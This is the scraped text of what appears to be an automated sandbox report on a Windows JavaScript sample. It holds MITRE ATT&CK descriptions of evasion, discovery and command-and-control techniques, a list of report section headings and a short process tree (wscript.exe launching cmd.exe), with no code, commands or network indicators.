Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

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Windows Analysis Report 10116429083634339.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: wscript.exePID: 5796, Parent PID: 1028

General

Chronological Activities

Analysis Process: cmd.exePID: 6220, Parent PID: 5796

General

Chronological Activities

Analysis Process: conhost.exePID: 7092, Parent PID: 6220

Windows Analysis Report
10116429083634339.js